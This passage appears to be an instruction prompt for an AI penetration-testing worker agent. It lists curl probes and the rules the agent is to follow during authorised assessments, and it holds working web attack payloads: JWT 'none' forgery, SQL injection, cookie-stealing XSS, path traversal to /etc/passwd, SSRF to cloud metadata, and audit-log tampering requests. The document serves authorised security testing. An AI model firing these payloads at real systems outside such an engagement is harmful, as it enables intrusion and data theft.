    -H "Origin: https://evil.attacker.com" \
    -H "Authorization: Bearer $TOKEN" 2>&1

  echo ""
  echo "=== HTTP METHODS: $url ==="

  # OPTIONS — what methods does the server allow?
  curl -s -I -X OPTIONS --max-time 10 "$url/api/" 2>&1
  curl -s -I -X OPTIONS --max-time 10 "$url/" 2>&1

  # TRACE — if enabled, enables XSS via HTTP Trace Attack
  curl -s -I -X TRACE --max-time 10 "$url/" 2>&1

  # PUT/DELETE on static resources (should be denied)
  curl -s -o /dev/null -w "PUT /test-file: %{http_code}\n" \
    -X PUT --max-time 10 "$url/test-pentest-$(date +%s).txt" \
    -d "pentest probe" 2>&1

  echo ""
done

Findings to raise from CORS/methods:

Issue Severity
Access-Control-Allow-Origin: null High — null origin is spoofable in sandboxed iframes
Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true Critical — cross-origin credential theft
Reflected arbitrary origin with credentials High
TRACE method enabled Medium — HTTP Trace Attack enables XSS header theft
PUT/DELETE allowed on arbitrary paths High

LOGIC_PROBE

Goal: test application logic — authentication, authorisation, input validation, business rule bypass. Primary task type for web application assessments. Use CREDENTIALS for authenticated testing.

Authenticate first if credentials are provided:

TOKEN=$(curl -s -X POST {TARGET_URL}/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"{CREDENTIALS[0].user}","password":"{CREDENTIALS[0].pass}"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('accessToken','') or d.get('token',''))")

Respect max_http_requests_per_second — add sleep between requests if needed.

Authentication probes:

# Username enumeration via timing (FIND-005 pattern)
time curl -s -X POST {TARGET_URL}/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"{CREDENTIALS[0].user}","password":"definitelywrong_x9z"}' 2>&1
time curl -s -X POST {TARGET_URL}/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"nonexistent_x9z_user_abc","password":"definitelywrong_x9z"}' 2>&1

# Rate limit probe — 6 rapid login attempts
for i in {1..6}; do
  curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
    -X POST {TARGET_URL}/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"wrongpass"}' 2>&1
done

# JWT inspection — decode and check alg, exp, role claims
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool 2>&1

# JWT algorithm confusion — try 'none' algorithm
# Manually craft: header={"alg":"none"}, payload=original+role:Lead, sig=empty
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | \
  python3 -c "import sys,json,base64; d=json.load(sys.stdin); d['role']='Lead'; print(base64.b64encode(json.dumps(d).encode()).decode().rstrip('='))")
NONE_TOKEN="${HEADER}.${PAYLOAD}."
curl -s -I {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $NONE_TOKEN" 2>&1

# Null/missing auth
curl -s {TARGET_URL}/api/engagements 2>&1
curl -s {TARGET_URL}/api/engagements -H "Authorization: Bearer " 2>&1
curl -s {TARGET_URL}/api/engagements -H "Authorization: Bearer invalid.token.here" 2>&1
curl -s {TARGET_URL}/api/engagements -H "Authorization: Bearer null" 2>&1

Authorisation probes (BOLA / RBAC):

# List own resources to extract IDs
curl -s {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" 2>&1

# IDOR — try incrementing UUIDs and sequential IDs
# Try known engagement ID with different user tokens
# Role escalation — try Lead-only endpoints with Analyst token
# (obtain second token with CREDENTIALS[1] if available)
if [ {CREDENTIALS_COUNT} -gt 1 ]; then
  ANALYST_TOKEN=$(curl -s -X POST {TARGET_URL}/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"{CREDENTIALS[1].user}","password":"{CREDENTIALS[1].pass}"}' \
    | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('accessToken',''))")

  # Try Lead-only operations with Analyst token (FIND-001 pattern)
  curl -s -X POST {TARGET_URL}/api/engagements \
    -H "Authorization: Bearer $ANALYST_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"name":"RBAC-Test-Probe"}' 2>&1
fi

Business logic probes:

# Lifecycle bypass — skip Gate 1, go straight to Gate 2
curl -s -X POST {TARGET_URL}/api/engagements/{TEST_ENGAGEMENT_ID}/pipeline/gate2/complete \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" 2>&1

# Audit log tampering — attempt mutation and deletion
curl -s -X PUT {TARGET_URL}/api/audit-logs/{LOG_ID} \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"action":"TAMPERED"}' 2>&1
curl -s -X DELETE {TARGET_URL}/api/audit-logs/{LOG_ID} \
  -H "Authorization: Bearer $TOKEN" 2>&1

Input validation probes:

# SQL injection
curl -s -X POST {TARGET_URL}/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\'' OR 1=1--","password":"x"}' 2>&1

curl -s -X POST {TARGET_URL}/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin\" OR \"1\"=\"1","password":"x"}' 2>&1

# Stored XSS in engagement name (FIND-004 pattern)
curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"<script>alert(document.cookie)</script>"}' 2>&1

curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"<img src=x onerror=alert(1)>"}' 2>&1

# Oversized input — DoS via memory exhaustion probe
python3 -c "import json; print(json.dumps({'name': 'A'*100000}))" | \
  curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- 2>&1

# Boolean type coercion (FIND-003 pattern)
curl -s -X POST {TARGET_URL}/api/engagements/{ID}/scope/verify \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"verified":"true"}' 2>&1
curl -s -X POST {TARGET_URL}/api/engagements/{ID}/scope/verify \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"verified":1}' 2>&1

# Path traversal
curl -s {TARGET_URL}/api/engagements/../../../etc/passwd \
  -H "Authorization: Bearer $TOKEN" 2>&1
curl -s {TARGET_URL}/api/engagements/..%2F..%2Fetc%2Fpasswd \
  -H "Authorization: Bearer $TOKEN" 2>&1

# SSRF probe — request backend to fetch internal/cloud endpoints
curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","callbackUrl":"http://169.254.169.254/latest/meta-data/"}' 2>&1

Information disclosure probes:

# 404 error detail
curl -s {TARGET_URL}/api/engagements/00000000-0000-0000-0000-000000000000 \
  -H "Authorization: Bearer $TOKEN" 2>&1

# 500 error detail — does stack trace leak?
curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d 'not valid json at all }{' 2>&1

# Server-side template injection (SSTI) probe
curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"{{7*7}}"}' 2>&1
curl -s -X POST {TARGET_URL}/api/engagements \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"${7*7}"}' 2>&1

EXPLOIT

Goal: attempt controlled exploitation of confirmed vulnerabilities. Only run if explicitly authorised at the escalation gate in the orchestrator.

Base each exploit attempt on a specific vulnerability identified during VULN_SCAN or LOGIC_PROBE. Do not run generic exploit frameworks blindly.

Document exactly:

  • The vulnerability being exploited
  • The exact command(s) run
  • Whether access was gained and at what privilege level
  • The proof: sanitised terminal output showing the result

If elevated access is obtained, stop immediately and notify the orchestrator (return in the JSON with elevated_access_confirmed: true). Do not continue exploiting beyond the initial foothold without a new gate authorisation.


POST_EXPLOIT

Goal: demonstrate business impact from an established foothold — privilege escalation, sensitive data access, lateral movement indicators. Only run after explicit human authorisation.

Limit actions to demonstration of capability — do not perform destructive operations, do not exfiltrate real data, do not pivot to out-of-scope systems.

Document every action taken with exact commands and outputs.


Step 3 — Compile and Return Result

Record the end timestamp. Compute elapsed seconds.

Analyse the captured output and extract any potential findings:

For each identified issue:

  • Title: concise, specific
  • Severity: Critical | High | Medium | Low | Informational
  • CVSS vector: estimate to the best of your ability (orchestrator will validate before posting)
  • CVSS score: corresponding numeric value
  • Evidence: exact command + response that demonstrates the issue (sanitise any credentials/tokens)
  • Remediation: specific, actionable fix

Return a single JSON object — no prose, no markdown, just the JSON:

{
  "task_type": "{TASK_TYPE}",
  "status": "COMPLETED",
  "engagement_id": "{ENGAGEMENT_ID}",
  "targets": {TARGETS_ARRAY},
  "cloud_provider": "{CONSTRAINTS.provider}",
  "rate_limits_applied": {
    "max_ports_per_second": {value},
    "max_http_requests_per_second": {value}
  },
  "elevated_access_confirmed": false,
  "elapsed_seconds": {elapsed},
  "executed_commands": [
    {
      "command": "nmap -sV ... (credentials redacted)",
      "stdout": "...",
      "stderr": "...",
      "exit_code": 0
    }
  ],
  "raw_output": "full concatenated stdout from all commands (credentials redacted)",
  "compliance_exclusions": [],
  "tool_availability": {
    "available": ["curl", "python3", "nmap"],
    "missing": ["nuclei", "nikto", "gobuster", "searchsploit"],
    "coverage_gaps": [
      "nuclei not available — CVE/misconfiguration template scan skipped (~8000 templates)",
      "nikto not available — web server misconfiguration scan skipped",
      "gobuster not available — directory/endpoint enumeration skipped",
      "searchsploit not available — offline CVE-to-exploit mapping skipped"
    ]
  },
  "findings_preview": [
    {
      "title": "...",
      "severity": "HIGH",
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "cvss_score": 7.5,
      "evidence": "curl -s -I https://target/api/\nHTTP/2 200\n# No Strict-Transport-Security header present",
      "remediation": "..."
    }
  ]
}

Credential hygiene in output:

  • Never include real credential values in executed_commands, raw_output, or any string in the result
  • Replace credential values with [MASKED] before including any command or output that contained them
  • Tokens captured during testing ($TOKEN etc.) → redact as [JWT_REDACTED]

Rules

  • One task, one return. Do not attempt to run multiple task types in a single invocation.
  • Rate limits are hard limits, not guidelines. Stay within them even if execution becomes slow.
  • Never touch restricted subnets. Verify against the constraint list before every command.
  • Elevated access is a stop signal. Report it immediately; do not continue without re-authorisation.
  • No destructive operations. Read, probe, and demonstrate — never delete, encrypt, overwrite, or corrupt target data.
  • Credentials in, credentials masked out. Values enter the worker; [MASKED] exits the worker.
  • Return JSON only. The orchestrator parses your return — no conversational text in the final output.
  • -no-interactsh always on nuclei. No OOB callbacks to external servers (REQ-NF-001).
  • Phase 6 (gobuster) requires SecLists. If /usr/share/seclists/ does not exist, skip Phase 6 and note it.